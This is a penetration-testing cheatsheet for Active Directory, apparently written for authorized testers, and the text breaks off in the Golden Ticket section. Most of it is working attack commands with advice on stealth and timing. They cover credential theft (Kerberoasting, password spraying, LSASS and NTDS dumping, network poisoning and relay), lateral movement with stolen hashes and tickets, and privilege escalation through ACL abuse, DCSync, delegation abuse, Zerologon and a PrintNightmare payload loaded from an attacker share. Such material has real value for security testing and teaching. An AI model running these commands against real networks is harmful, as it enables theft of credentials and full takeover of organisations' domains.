Active Directory Pentesting Workflow & Cheatsheet
Table of Contents
Pre-Engagement
Network Discovery
Identify live hosts and open ports in the target network.
Tools: nmap, masscan, netdiscover
Why use these tools:
nmap: Industry standard, comprehensive feature set, reliable service detection
masscan: Extremely fast for large networks, useful for initial quick scans
netdiscover: Passive ARP scanning, good for stealth reconnaissance
# Quick network scan
nmap -sn 192.168.1.0/24
# Comprehensive port scan
nmap -p- -sV -sC -T4 -A 192.168.1.0/24 -oA full_scan
# Fast scan with masscan
masscan -p1-65535 192.168.1.0/24 --rate=1000 -e eth0
# Identify Domain Controllers (port 389 LDAP, 88 Kerberos, 445 SMB)
nmap -p 88,389,445,636,3268,3269 192.168.1.0/24What to do as Testing Analyst:
Start with a broad network sweep to identify all live hosts
Prioritise scanning AD-critical ports (88, 389, 445, 636, 3268, 3269)
Document network topology and IP ranges
Create an inventory of discovered systems with their roles
What to look for:
✅ Domain Controllers (ports 88, 389, 445, 636 open)
✅ File servers and member servers (port 445)
✅ Workstations vs Servers (different OS fingerprints)
✅ Open RDP ports (3389), indicating remote access
✅ Unusual services or non-standard ports
⚠️ Systems with many ports open (potential misconfigurations)
⚠️ Legacy systems (Windows Server 2008, 2012) - often easier targets
Initial Enumeration
1. DNS Enumeration
Tools: nslookup, dig, dnsrecon
Why use these tools:
nslookup: Built-in Windows/Linux tool, good for quick queries
dig: More detailed output than nslookup, better for automation
dnsrecon: Automated DNS enumeration with multiple techniques
# Find domain controllers
nslookup -type=SRV _ldap._tcp.dc._msdcs.DOMAIN.LOCAL
# Zone transfer attempt
dig axfr @dns-server DOMAIN.LOCAL
# DNS enumeration
dnsrecon -d DOMAIN.LOCAL -aWhat to do as Testing Analyst:
Identify all Domain Controllers via SRV records
Attempt DNS zone transfers (rarely works but worth trying)
Enumerate subdomains and DNS records
Map out DNS infrastructure
What to look for:
✅ DC hostnames and IP addresses from SRV records
✅ Successful zone transfers (HIGH severity finding)
✅ Internal domain structure and naming conventions
✅ Service records (LDAP, Kerberos, Global Catalog)
⚠️ Wildcard DNS entries
⚠️ External DNS leaking internal information
2. LDAP Enumeration
Tools: ldapsearch, windapsearch, ldapdomaindump
Why use these tools:
ldapsearch: Standard LDAP client, works with anonymous binds
windapsearch: Python-based, excellent for unauthenticated enumeration
ldapdomaindump: Creates HTML reports, great for documentation
# Anonymous LDAP bind
ldapsearch -x -h 192.168.1.10 -s base namingcontexts
# Enumerate users
ldapsearch -x -h 192.168.1.10 -b "DC=DOMAIN,DC=LOCAL" "(objectClass=user)"
# Windapsearch - enumerate users
windapsearch.py -d DOMAIN.LOCAL --dc 192.168.1.10 -U
# Windapsearch - enumerate groups
windapsearch.py -d DOMAIN.LOCAL --dc 192.168.1.10 -G
# Ldapdomaindump (requires credentials)
ldapdomaindump -u 'DOMAIN\user' -p 'password' 192.168.1.10What to do as Testing Analyst:
Test for anonymous LDAP bind (common misconfiguration)
Extract the user list for password spraying
Identify privileged groups and their members
Document organisational units (OUs) structure
Note user attributes (descriptions often contain passwords!)
What to look for:
✅ Anonymous LDAP bind enabled (MEDIUM severity - information disclosure)
✅ Users with "Password never expires" flag
✅ Disabled accounts (might have weak passwords if re-enabled)
✅ Service accounts (potential Kerberoasting targets)
✅ User descriptions containing passwords or hints
✅ Accounts with adminCount=1 (privileged accounts)
✅ Recently created accounts (potential backdoors)
⚠️ Large privileged groups (over-permissioned environment)
⚠️ Computers in wrong OUs (mismanagement)
3. SMB Enumeration
Tools: enum4linux, smbclient, smbmap, crackmapexec
Why use these tools:
enum4linux: Comprehensive automated enumeration, all-in-one tool
smbclient: Interactive SMB client, built-in to most Linux distros
smbmap: Quick permission checking across multiple hosts
crackmapexec: Multi-protocol swiss army knife, excellent for automation
# Enum4linux - comprehensive SMB enumeration
enum4linux -a 192.168.1.10
# List shares
smbclient -L //192.168.1.10 -N
# SMBMap
smbmap -H 192.168.1.10
smbmap -H 192.168.1.10 -u guest -p ""
# CrackMapExec - enumerate shares
crackmapexec smb 192.168.1.0/24 --shares
# CrackMapExec - enumerate users
crackmapexec smb 192.168.1.10 -u '' -p '' --users
# CrackMapExec - enumerate groups
crackmapexec smb 192.168.1.10 -u '' -p '' --groupsWhat to do as Testing Analyst:
Test for null sessions (unauthenticated SMB access)
Enumerate shares and their permissions
List users and groups via SMB
Identify the domain password policy
Check for SMB signing status
Spider shares for sensitive files
What to look for:
✅ Null session enabled (MEDIUM severity - information disclosure)
✅ Readable shares (SYSVOL, NETLOGON, custom shares)
✅ Writable shares (HIGH severity - potential for lateral movement)
✅ Password policy (lockout threshold, complexity requirements)
✅ SMB signing disabled (enables relay attacks)
✅ Guest account enabled
✅ Sensitive files in shares (credentials, documents, scripts)
⚠️ Default shares (C$, ADMIN$) accessible without credentials
⚠️ Backup files or old credentials in shares
4. RPC Enumeration
Tools: rpcclient, rpcinfo
Why use these tools:
rpcclient: Powerful Windows RPC client for manual enumeration
rpcinfo: Quick RPC service discovery
# Connect with null session
rpcclient -U "" -N 192.168.1.10
# Inside rpcclient:
enumdomusers # Enumerate domain users
enumdomgroups # Enumerate domain groups
queryuser <RID> # Query user info
querygroupmem <RID> # Query group members
# Command line enumeration
rpcclient -U "" -N 192.168.1.10 -c "enumdomusers"What to do as Testing Analyst:
Test for anonymous RPC access
Enumerate users with detailed information (RID, descriptions)
Identify group memberships
Query password policies via RPC
Enumerate trusts through RPC
What to look for:
✅ Null session RPC access (MEDIUM severity)
✅ Detailed user information without authentication
✅ RID cycling opportunities (enumerate all users by RID)
✅ Group memberships for privilege escalation planning
✅ User flags (account disabled, password never expires)
⚠️ Service account patterns in usernames
⚠️ Lockout policy information for password spraying
5. BloodHound Enumeration
Tools: BloodHound, SharpHound
Why use these tools:
BloodHound: Visualises AD attack paths, finds hidden relationships
SharpHound: Data collector for BloodHound, multiple collection methods
Essential for understanding privilege escalation paths
# Python BloodHound collector (from Linux)
bloodhound-python -d DOMAIN.LOCAL -u user -p password -ns 192.168.1.10 -c all
# SharpHound (from Windows)
.\SharpHound.exe -c all -d DOMAIN.LOCAL
# SharpHound with specified domain controller
.\SharpHound.exe -c all -d DOMAIN.LOCAL --domaincontroller DC01.DOMAIN.LOCAL
# Start BloodHound
sudo neo4j start
bloodhoundWhat to do as Testing Analyst:
Run SharpHound/bloodhound-python to collect AD data
Import collected JSON files into BloodHound GUI
Mark owned/compromised accounts as "Owned"
Run pre-built queries (Shortest Paths to Domain Admin)
Analyse custom queries for specific scenarios
Document all attack paths found
Re-run the collection after gaining new credentials
What to look for:
✅ Shortest path to Domain Admin from your current user
✅ Kerberoastable accounts (especially with admin rights)
✅ AS-REP Roastable accounts
✅ Users with local admin on multiple machines
✅ Dangerous ACLs (GenericAll, WriteDacl, WriteOwner)
✅ Unconstrained delegation computers
✅ Constrained delegation abuse paths
✅ GPO abuse opportunities
✅ Nested group memberships leading to privilege escalation
✅ Sessions - where privileged users are logged in
⚠️ Accounts with adminCount=1 (previously privileged)
⚠️ Foreign domain trust relationships
⚠️ Computers where Domain Admins have sessions (credential harvesting targets)
6. PowerView Enumeration (Windows)
Tools: PowerView (PowerSploit)
Why use this tool:
PowerView: Most comprehensive PowerShell AD enumeration tool
Uses native Windows APIs (harder to detect than LDAP queries)
Extremely flexible with filtering and custom queries
Essential for post-compromise enumeration from Windows hosts
# Import PowerView
Import-Module .\PowerView.ps1
# Get domain info
Get-Domain
Get-DomainController
# Enumerate users
Get-DomainUser
Get-DomainUser -Identity administrator
Get-DomainUser -Properties samaccountname,description
# Enumerate groups
Get-DomainGroup
Get-DomainGroup -Identity "Domain Admins"
Get-DomainGroupMember -Identity "Domain Admins"
# Enumerate computers
Get-DomainComputer
Get-DomainComputer -OperatingSystem "*Server 2019*"
# Find shares
Find-DomainShare
# Find GPP passwords
Get-DomainGPPPassword
# ACL enumeration
Get-ObjectAcl -SamAccountName "Domain Admins" -ResolveGUIDsWhat to do as Testing Analyst:
Enumerate the entire domain structure systematically
Identify privileged accounts and their properties
Find computers with specific OS versions (targeting legacy systems)
Search for accessible shares with sensitive data
Look for GPP passwords (old but still found)
Enumerate ACLs for privilege escalation opportunities
Find local admin access across domain computers
Identify trusts and forest relationships
What to look for:
✅ Service accounts in user descriptions or naming patterns (svc-, admin-, sql-)
✅ Privileged groups membership (Domain Admins, Enterprise Admins, Schema Admins)
✅ GPP passwords (CRITICAL if found - immediate access)
✅ Weak ACLs - GenericAll/GenericWrite/WriteDacl on privileged objects
✅ Delegation configurations - unconstrained/constrained
✅ Trust relationships - especially external trusts
✅ Shared resources with weak permissions
✅ Computers with old OS (Server 2008, Windows 7) - easier to exploit
✅ Foreign security principals in groups
⚠️ Accounts with SPN set (Kerberoastable)
⚠️ Users with "Does not require preauth" (AS-REP roastable)
⚠️ Service accounts in Domain Admins (common misconfiguration)
Credential Gathering
1. AS-REP Roasting
Target users without Kerberos pre-authentication enabled.
Tools: GetNPUsers.py (Impacket), Rubeus
Why use these tools:
GetNPUsers.py: Works remotely without credentials, Python-based
Rubeus: Windows-native, compiled C#, better OPSEC from compromised host
Attacks misconfigured accounts that don't require Kerberos pre-auth
# Impacket (from Linux)
GetNPUsers.py DOMAIN.LOCAL/ -dc-ip 192.168.1.10 -request
# With username list
GetNPUsers.py DOMAIN.LOCAL/ -usersfile users.txt -dc-ip 192.168.1.10
# Rubeus (from Windows)
.\Rubeus.exe asreproast /format:hashcat /outfile:hashes.txt
# Crack with hashcat
hashcat -m 18200 hashes.txt wordlist.txtWhat to do as Testing Analyst:
Enumerate all domain users (from previous enumeration)
Test each user for AS-REP roasting (or use targeted list)
Extract AS-REP hashes for vulnerable accounts
Attempt offline cracking with wordlists
Prioritise service accounts and admin accounts
Try common passwords and company-specific patterns
What to look for:
✅ Any vulnerable accounts found (MEDIUM severity - configuration weakness)
✅ Privileged accounts without pre-auth (HIGH severity)
✅ Service accounts without pre-auth (common misconfiguration)
✅ Weak passwords that crack quickly (<1 hour)
✅ Password patterns (Season+Year, Company+123)
⚠️ Accounts created recently with this setting (potential honeypot)
📊 Success rate: Finding even 1-2 accounts is considered successful
📝 Document: Which accounts, their privileges, and cracked passwords
2. Kerberoasting
Extract service account credentials.
Tools: GetUserSPNs.py (Impacket), Rubeus
Why use these tools:
GetUserSPNs.py: Remote extraction, works with valid domain credentials
Rubeus: Native Windows tool, can target specific SPNs
Most effective credential attack - service accounts often have weak passwords
# Impacket (from Linux)
GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip 192.168.1.10 -request
# Save to file
GetUserSPNs.py DOMAIN.LOCAL/user:password -dc-ip 192.168.1.10 -request -outputfile kerberoast.txt
# Rubeus (from Windows)
.\Rubeus.exe kerberoast /outfile:hashes.txt
# Specific user
.\Rubeus.exe kerberoast /user:svcaccount /outfile:hashes.txt
# Crack with hashcat
hashcat -m 13100 hashes.txt wordlist.txt
# Crack with John
john --wordlist=wordlist.txt hashes.txtWhat to do as Testing Analyst:
Request TGS tickets for all accounts with SPNs
Prioritise accounts based on naming (admin, sql, svc)
Check service account privileges using BloodHound
Attempt offline cracking using GPU acceleration
Try multiple wordlists (rockyou, corporate-specific, leaked passwords)
If cracking fails, try targeted rules (add year, season, etc.)
What to look for:
✅ High-value targets: SQL Server, IIS, Exchange service accounts
✅ Privileged service accounts (members of Domain Admins or similar)
✅ Old service accounts (likely weaker passwords)
✅ Accounts with RC4 encryption (faster to crack than AES)
✅ Successfully cracked passwords - verify access level
⚠️ Accounts with very strong passwords (may need to move on)
📊 Success metric: Even one compromised service account can lead to a domain admin
🎯 Priority: Service accounts in privileged groups or with admin access to servers
📝 Document: SPN, account name, privileges, and cracked password
3. Password Spraying
Test common passwords across multiple accounts.
Tools: crackmapexec, kerbrute, DomainPasswordSpray
Why use these tools:
crackmapexec: Multi-protocol support, shows success immediately
kerbrute: Uses Kerberos pre-auth (minimal logs, very stealthy)
DomainPasswordSpray: PowerShell-based, respects lockout policies
Low-risk technique when done correctly (avoiding lockouts)
# CrackMapExec
crackmapexec smb 192.168.1.10 -u users.txt -p 'Password123!' --continue-on-success
# Kerbrute (Kerberos-based, stealthier)
kerbrute passwordspray -d DOMAIN.LOCAL users.txt 'Password123!'
# DomainPasswordSpray (from Windows)
Invoke-DomainPasswordSpray -Password 'Password123!'
# Spray with password list
crackmapexec smb 192.168.1.10 -u users.txt -p passwords.txt --no-bruteforceImportant: Use delays and be cautious of account lockout policies!
What to do as Testing Analyst:
CRITICAL: First identify lockout policy (threshold and duration)
Calculate safe attempts (usually lockout threshold - 1)
Build targeted password list (Season+Year, Company123, Welcome2023)
Add delays between attempts (30-60 minutes recommended)
Monitor for successful authentications
Start with one password across all users
Document all successful credentials immediately
Verify account privileges after successful spray
What to look for:
✅ Lockout policy: Threshold, duration, observation window
✅ Common password patterns: Company name + year/season
✅ Default passwords: Password1, Welcome123, Summer2024
✅ Successful credentials: Even one valid account is valuable
✅ Account privileges: Check if compromised account has admin rights
⚠️ Lockout warnings: Stop immediately if accounts start locking
⚠️ Honeypot accounts: Accounts that authenticate but trigger alerts
🚨 Red flags: Immediate lockouts, defensive responses
📊 Success rate: 5-10% success rate is typical in weak environments
🎯 Timing: Early morning (users just changed expired passwords)
📝 Document: Passwords tested, successful credentials, timing
4. LLMNR/NBT-NS Poisoning
Capture credentials via network poisoning.
Tools: Responder, Inveigh
Why use these tools:
Responder: Most popular tool, multi-protocol poisoning (LLMNR, NBT-NS, mDNS)
Inveigh: PowerShell/C# version, better for Windows-based testing
Passive attack - wait for legitimate authentication attempts
Works well in environments with misconfigured name resolution
# Responder (from Linux)
sudo responder -I eth0 -dwPv
# Analyse mode (passive)
sudo responder -I eth0 -A
# Inveigh (from Windows)
Invoke-Inveigh -ConsoleOutput Y -LLMNR Y -NBNS Y -mDNS Y
# Crack captured hashes
hashcat -m 5600 hashes.txt wordlist.txt # NTLMv2What to do as Testing Analyst:
Run Responder/Inveigh in analysis mode first (passive reconnaissance)
Identify frequency of LLMNR/NBT-NS traffic
Switch to poisoning mode during business hours for best results
Monitor for NTLMv2 hashes (most common)
Attempt to crack captured hashes offline
Look for privileged account hashes
Consider relay attacks if SMB signing is disabled
What to look for:
✅ NTLMv2 hashes captured (MEDIUM severity - weak protocol usage)
✅ NTLMv1 hashes (HIGH severity - very weak, easy to crack)
✅ Privileged account credentials captured
✅ Service account credentials (often have weak passwords)
✅ Frequency of poisoning events (indicates misconfiguration severity)
✅ Successfully cracked hashes
⚠️ SMB signing disabled (enables NTLM relay attacks)
⚠️ Repeated authentication from same host (automated service/task)
🎯 Best timing: During business hours when users are active
📊 Typical results: Capture 5-20 unique hashes in 2-4 hours
📝 Document: Captured hashes, accounts compromised, crack success rate
5. IPv6 Attack (mitm6)
Tools: mitm6
Why use this tool:
mitm6: Exploits IPv6 default configuration in Windows
Most networks have IPv6 enabled but unmonitored
Can capture credentials and relay to LDAP for privilege escalation
# Start mitm6
sudo mitm6 -d DOMAIN.LOCAL
# Combine with ntlmrelayx for relay attacks
sudo ntlmrelayx.py -6 -t ldaps://192.168.1.10 -wh fakewpad.DOMAIN.LOCAL -l lootdirWhat to do as Testing Analyst:
Check if IPv6 is enabled on the network
Run mitm6 to become the default IPv6 DNS server
Combine with ntlmrelayx for LDAP relay attacks
Wait for machines to request WPAD configuration
Relay captured authentication to LDAPS
Potentially create domain accounts or escalate privileges
What to look for:
✅ IPv6 enabled but unmanaged (common misconfiguration)
✅ WPAD requests via IPv6
✅ Successful authentication relays to LDAP
✅ Ability to create computer/user accounts
✅ ACL modifications via relay
⚠️ LDAPS not enforced (allows relay attacks)
🎯 Success indicator: Creating a computer account or modifying ACLs
📝 Document: Relay targets, accounts created, modifications made
6. Credential Dumping (Post-Compromise)
Tools: Mimikatz, pypykatz, secretsdump.py
Why use these tools:
Mimikatz: Most comprehensive Windows credential dumping tool
pypykatz: Pure Python implementation, useful for offline analysis
secretsdump: Remote credential extraction via Impacket
Essential for extracting credentials from compromised systems
# Mimikatz (from Windows with admin)
.\mimikatz.exe
privilege::debug
sekurlsa::logonpasswords
sekurlsa::tickets
lsadump::sam
lsadump::secrets# Pypykatz (from Linux with lsass dump)
pypykatz lsa minidump lsass.dmp
# Secretsdump (from Linux, remote)
secretsdump.py DOMAIN/user:password@192.168.1.10
# Dump NTDS.dit
secretsdump.py DOMAIN/user:password@192.168.1.10 -just-dcWhat to do as Testing Analyst:
Elevate to local administrator or SYSTEM
Dump LSASS process memory for credentials
Extract plaintext passwords (if WDigest enabled)
Harvest NTLM hashes for Pass-the-Hash
Extract Kerberos tickets for Pass-the-Ticket
Dump SAM database for local accounts
Extract LSA secrets (service account passwords, cached credentials)
Look for credentials in memory of running processes
What to look for:
✅ Plaintext passwords in LSASS (CRITICAL if WDigest enabled)
✅ NTLM hashes of logged-in users
✅ Kerberos TGTs from privileged users
✅ Domain admin credentials in memory
✅ Service account credentials from LSA secrets
✅ Cached domain credentials (mscachev2)
✅ Credential Guard status (if enabled, limits credential access)
⚠️ Multiple admin sessions (high-value targets)
⚠️ Stale credentials (users who haven't logged in recently)
🎯 High-value targets: Servers, jump boxes, admin workstations
📝 Document: All credentials found, their source, and privileges
7. Dumping LSASS Process
Tools: procdump, comsvcs.dll, rundll32
Why use these tools:
procdump: Sysinternals tool (Microsoft-signed, often whitelisted)
comsvcs.dll: Native Windows DLL, fileless technique
rundll32: Built-in Windows utility, blends with normal activity
Necessary step before credential extraction
# Procdump
procdump.exe -ma lsass.exe lsass.dmp
# Using comsvcs.dll (native Windows)
tasklist | findstr lsass
rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump <LSASS_PID> C:\temp\lsass.dmp full
# Task Manager method
# Right-click lsass.exe -> Create dump fileWhat to do as Testing Analyst:
CRITICAL: Must have local administrator or SYSTEM privileges
Identify LSASS process ID (usually around 500-700)
Choose dumping method based on environment
Use procdump if Sysinternals is whitelisted
Use comsvcs.dll for stealthier approach (native Windows)
Exfiltrate dump file securely (compress and encrypt)
Parse offline with Mimikatz or pypykatz
Delete dump file after extraction
What to look for:
✅ Successful dump creation (~40-80MB typical size)
✅ AV/EDR alerts during dumping (note detection)
✅ Credential Guard status (prevents some credential access)
✅ Protected Process Light (PPL) on LSASS (requires bypass)
⚠️ Suspicious activity alerts from SIEM
⚠️ Dump file left on disk (operational security risk)
🚨 Red flags: Immediate system isolation, defensive responses
🎯 Best targets: Servers with multiple admin sessions
📝 Document: Method used, detection status, credentials extracted
Lateral Movement
1. Pass-the-Hash (PtH)
Use NTLM hash instead of password.
Tools: pth-winexe, crackmapexec, evil-winrm, psexec.py
Why use these tools:
crackmapexec: Multi-host support, quick validation
evil-winrm: Interactive shell via WinRM, cleaner than psexec
psexec.py: Remote command execution, most compatible
Core technique for lateral movement without knowing plaintext passwords
# CrackMapExec
crackmapexec smb 192.168.1.20 -u administrator -H 'aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0'
# Evil-WinRM
evil-winrm -i 192.168.1.20 -u administrator -H '31d6cfe0d16ae931b73c59d7e0c089c0'
# Impacket psexec
psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.20
# pth-winexe
pth-winexe -U administrator%aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 //192.168.1.20 cmdWhat to do as Testing Analyst:
Extract NTLM hashes from compromised system
Identify where these accounts have admin access (use crackmapexec)
Test hash against multiple targets
Prioritise Domain Admin and local administrator hashes
Map out all systems where you have access
Use for lateral movement to high-value targets
Document access paths for reporting
What to look for:
✅ Local administrator hash reuse across multiple systems
✅ Domain admin sessions on compromised hosts
✅ Service accounts with admin privileges
✅ Systems where hash provides access (build access map)
✅ High-value targets: DCs, file servers, database servers
⚠️ NTLM authentication blocked (rare but increasing)
⚠️ LAPS enabled (prevents local admin hash reuse)
🎯 Success path: Local admin → Domain admin hash → DC access
📝 Document: Hashes obtained, access gained, privilege level
2. Pass-the-Ticket (PtT)
Use Kerberos tickets for authentication.
Tools: Rubeus, Mimikatz
Why use these tools:
Rubeus: Modern, actively maintained, comprehensive Kerberos toolkit
Mimikatz: Original implementation, still very effective
Avoids NTLM authentication (better OPSEC in some environments)
Can impersonate users without knowing their password or hash
# Export tickets with Mimikatz
sekurlsa::tickets /export
# Import ticket
kerberos::ptt ticket.kirbi
# Rubeus - export tickets
.\Rubeus.exe dump
# Rubeus - pass the ticket
.\Rubeus.exe ptt /ticket:ticket.kirbi
# Verify ticket
klist# From Linux with ticket
export KRB5CCNAME=/path/to/ticket.ccache
psexec.py -k -no-pass DOMAIN/user@target.DOMAIN.LOCALWhat to do as Testing Analyst:
Dump all Kerberos tickets from compromised system
Identify TGTs (Ticket Granting Tickets) vs TGS (Service Tickets)
Prioritise Domain Admin or privileged account tickets
Import tickets into your session
Use tickets for authentication to other systems
Look for renewable tickets (longer validity)
Export tickets for offline use
What to look for:
✅ TGTs from privileged accounts (Domain Admin, Enterprise Admin)
✅ Service tickets to high-value services (CIFS, LDAP, HTTP)
✅ Delegation tickets (can be used for further attacks)
✅ Ticket lifetime (how long before expiration)
✅ Renewable tickets (can extend validity)
⚠️ Expired tickets (useless, but shows past access)
🎯 Golden ticket scenario: Dump from DC to get krbtgt
📝 Document: Tickets obtained, accounts, services accessed
3. Overpass-the-Hash / Pass-the-Key
Request TGT using NTLM hash or AES key.
Tools: Rubeus, getTGT.py
Why use these tools:
Rubeus: Versatile, supports RC4 and AES keys
getTGT.py: Remote operation, works from Linux
Converts NTLM authentication into Kerberos (better OPSEC)
Useful when Kerberos is required but you only have hash
# Rubeus
.\Rubeus.exe asktgt /user:administrator /rc4:31d6cfe0d16ae931b73c59d7e0c089c0 /ptt
# With AES256 key
.\Rubeus.exe asktgt /user:administrator /aes256:key_here /ptt# getTGT.py (Impacket)
getTGT.py DOMAIN.LOCAL/administrator -hashes :31d6cfe0d16ae931b73c59d7e0c089c0
# Use the ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass administrator@DC01.DOMAIN.LOCALWhat to do as Testing Analyst:
Extract NTLM hashes or AES keys from compromised system
Request TGT using the hash/key
Inject TGT into your session
Use Kerberos authentication for lateral movement
Prefer AES keys over RC4 (less likely to trigger alerts)
Combine with other techniques for full domain compromise
What to look for:
✅ Successful TGT requests with hash only
✅ AES keys available (stronger encryption, better OPSEC)
✅ Domain admin hashes for immediate privilege escalation
✅ Service account hashes for persistence
⚠️ RC4 downgrade attacks detected (some environments monitor this)
🎯 Use case: When you have hash but need Kerberos auth
📝 Document: Keys/hashes used, TGTs obtained, access achieved
4. PSExec / Remote Execution
Tools: psexec.py, crackmapexec, Invoke-Command
# Impacket psexec
psexec.py DOMAIN/user:password@192.168.1.20
# CrackMapExec - execute command
crackmapexec smb 192.168.1.20 -u user -p password -x "whoami"
# Upload and execute
crackmapexec smb 192.168.1.20 -u user -p password -X '$x=Get-Content payload.ps1; IEX $x'# PowerShell remoting
$cred = Get-Credential
Enter-PSSession -ComputerName target -Credential $cred
# Invoke-Command
Invoke-Command -ComputerName target -ScriptBlock { whoami } -Credential $cred5. WMI Execution
Tools: wmiexec.py, Invoke-WmiMethod
# Impacket wmiexec
wmiexec.py DOMAIN/user:password@192.168.1.20
# With hash
wmiexec.py -hashes :31d6cfe0d16ae931b73c59d7e0c089c0 administrator@192.168.1.20# PowerShell WMI
Invoke-WmiMethod -Class Win32_Process -Name Create -ArgumentList "cmd.exe /c calc.exe" -ComputerName target6. DCOM Execution
# MMC20.Application
$com = [Activator]::CreateInstance([type]::GetTypeFromProgID("MMC20.Application","192.168.1.20"))
$com.Document.ActiveView.ExecuteShellCommand("cmd.exe",$null,"/c calc.exe","Minimized")
# ShellWindows
$com = [Activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39","192.168.1.20"))
$com.item().Document.Application.ShellExecute("cmd.exe","/c calc.exe","C:\Windows\System32",$null,0)Privilege Escalation
1. ACL Abuse
Tools: PowerView, BloodHound
# Find interesting ACLs
Get-ObjectAcl -SamAccountName "user" -ResolveGUIDs | ? {$_.ActiveDirectoryRights -match "GenericAll|WriteDacl|WriteOwner"}
# Add user to group (GenericAll on group)
Add-DomainGroupMember -Identity 'Domain Admins' -Members 'user'
# Change user password (ForceChangePassword)
$pass = ConvertTo-SecureString 'NewPassword123!' -AsPlainText -Force
Set-DomainUserPassword -Identity targetuser -AccountPassword $pass
# Grant DCSync rights (WriteDacl on domain)
Add-DomainObjectAcl -TargetIdentity "DC=DOMAIN,DC=LOCAL" -PrincipalIdentity user -Rights DCSync2. DCSync Attack
Replicate password hashes from Domain Controller.
Tools: Mimikatz, secretsdump.py
Why use these tools:
Mimikatz: Original DCSync implementation, works locally
secretsdump: Remote DCSync via Impacket, works from Linux
CRITICAL TECHNIQUE: Extracts ALL domain password hashes
Requires Replicating Directory Changes permission
# Mimikatz
lsadump::dcsync /domain:DOMAIN.LOCAL /user:administrator
lsadump::dcsync /domain:DOMAIN.LOCAL /all# Secretsdump
secretsdump.py DOMAIN/user:password@192.168.1.10 -just-dc
# Specific user
secretsdump.py DOMAIN/user:password@192.168.1.10 -just-dc-user administratorWhat to do as Testing Analyst:
Prerequisites: Need account with DCSync rights (DA, or custom permissions)
Target the krbtgt account first (enables Golden Ticket)
Extract administrator and high-value account hashes
Dump all hashes for comprehensive analysis (-just-dc flag)
Save output securely for offline cracking
Document the ability to perform DCSync (CRITICAL finding)
What to look for:
✅ Successful DCSync (CRITICAL - equivalent to Domain Admin)
✅ krbtgt hash obtained (enables Golden Ticket attacks)
✅ All domain admin hashes
✅ Service account hashes for persistence
✅ Historical password data (previous passwords)
✅ Accounts with DCSync rights (for reporting)
⚠️ Detection: DCSync generates 4662 events (monitor for alerts)
🎯 This is GAME OVER: Full domain compromise achieved
📝 Document: Ability to DCSync, accounts extracted, krbtgt hash
🚨 Report as CRITICAL: Immediate domain admin equivalent access
3. Kerberos Delegation Abuse
Unconstrained Delegation
Tools: Rubeus, findDelegation.py
# Find computers with unconstrained delegation
Get-DomainComputer -Unconstrained
# Monitor for tickets
.\Rubeus.exe monitor /interval:5
# After compromise, extract tickets
.\Rubeus.exe dump# findDelegation.py (Impacket)
findDelegation.py DOMAIN/user:password -dc-ip 192.168.1.10Constrained Delegation
# Find constrained delegation
Get-DomainComputer -TrustedToAuth
Get-DomainUser -TrustedToAuth
# Rubeus - request TGT
.\Rubeus.exe tgtdeleg
# Request service ticket for delegation
.\Rubeus.exe s4u /user:serviceaccount /rc4:hash /impersonateuser:administrator /msdsspn:cifs/target.DOMAIN.LOCAL /ptt4. Resource-Based Constrained Delegation (RBCD)
Tools: PowerView, Rubeus
# Check msDS-AllowedToActOnBehalfOfOtherIdentity
Get-DomainComputer target | select msds-allowedtoactonbehalfofotheridentity
# Set RBCD (requires GenericAll/GenericWrite on target)
$TargetComputer = Get-DomainComputer target
$AttackerSID = Get-DomainComputer attacker -Properties objectsid | Select -Expand objectsid
$SD = New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList "O:BAD:(A;;CCDCLCSWRPWPDTLOCRSDRCWDWO;;;$($AttackerSID))"
$SDBytes = New-Object byte[] ($SD.BinaryLength)
$SD.GetBinaryForm($SDBytes, 0)
Get-DomainComputer target | Set-DomainObject -Set @{'msds-allowedtoactonbehalfofotheridentity'=$SDBytes}
# Exploit with Rubeus
.\Rubeus.exe s4u /user:attacker$ /rc4:hash /impersonateuser:administrator /msdsspn:cifs/target.DOMAIN.LOCAL /ptt5. Group Policy Preferences (GPP) Passwords
Tools: Get-GPPPassword, gpp-decrypt
# PowerView
Get-DomainGPPPassword
# Manual search
findstr /S /I cpassword \\DOMAIN.LOCAL\sysvol\*.xml# Decrypt GPP password
gpp-decrypt "encrypted_password"6. Zerologon (CVE-2020-1472)
Tools: zerologon_tester.py
# Test vulnerability
python3 zerologon_tester.py DC01 192.168.1.10
# Exploit (use with caution!)
python3 cve-2020-1472-exploit.py DC01 192.168.1.10
# Restore DC password after exploitation
python3 restorepassword.py DOMAIN/DC01@DC01.DOMAIN.LOCAL -target-ip 192.168.1.10 -hexpass <original_hash>7. PrintNightmare (CVE-2021-1675)
Tools: rpcdump.py, CVE-2021-1675.py
# Check if vulnerable
rpcdump.py @192.168.1.10 | egrep 'MS-RPRN|MS-PAR'
# Exploit
python3 CVE-2021-1675.py DOMAIN/user:password@192.168.1.10 '\\attacker\share\shell.dll'8. Golden Ticket
Create forged TGT with krbtgt hash.
Tools: Mimikatz, ticketer.py
Why use these tools:
Mimikatz: Native implementation, works on Windows
ticketer.py: Linux-based, good for remote operations
ULTIMATE PERSISTENCE: Valid for 10 years by default
Can impersonate any user, including non-existent ones
# Mimikatz (requires krbtgt hash and domain SID)
kerberos::golden /user:administrator /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /krbtgt:hash /ptt
# Specify ticket lifetime
kerberos::golden /user:administrator /domain:DOMAIN.LOCAL /sid:S-1-5-21-... /krbtgt:hash /startoffset:-10 /endin:600 /renewmax:10080 /ptt# Ticketer.py (Impacket)
ticketer.py -nthash hash -domain-sid S-1-5-21-... -domain DOMAIN.LOCAL administrator
# Use the ticket
export KRB5CCNAME=administrator.ccache
psexec.py -k -no-pass administrator@DC01.DOMAIN.LOCALWhat to do as Testing Analyst:
Prerequisites: Need krbtgt hash (via DCSync or NTDS.dit extraction)
Obtain domain SID (via whoami /user or PowerView)
Create Golden Ticket for any user (including fictional ones)
Set realistic ticket lifetime to avoid detection
Inject ticket into current session
Demonstrate persistent domain access
CRITICAL: This is the ultimate persistence mechanism
What to look for:
✅ krbtgt hash obtained (prerequisite for Golden Ticket)
✅ Domain SID identified correctly
✅ Successful ticket creation and injection
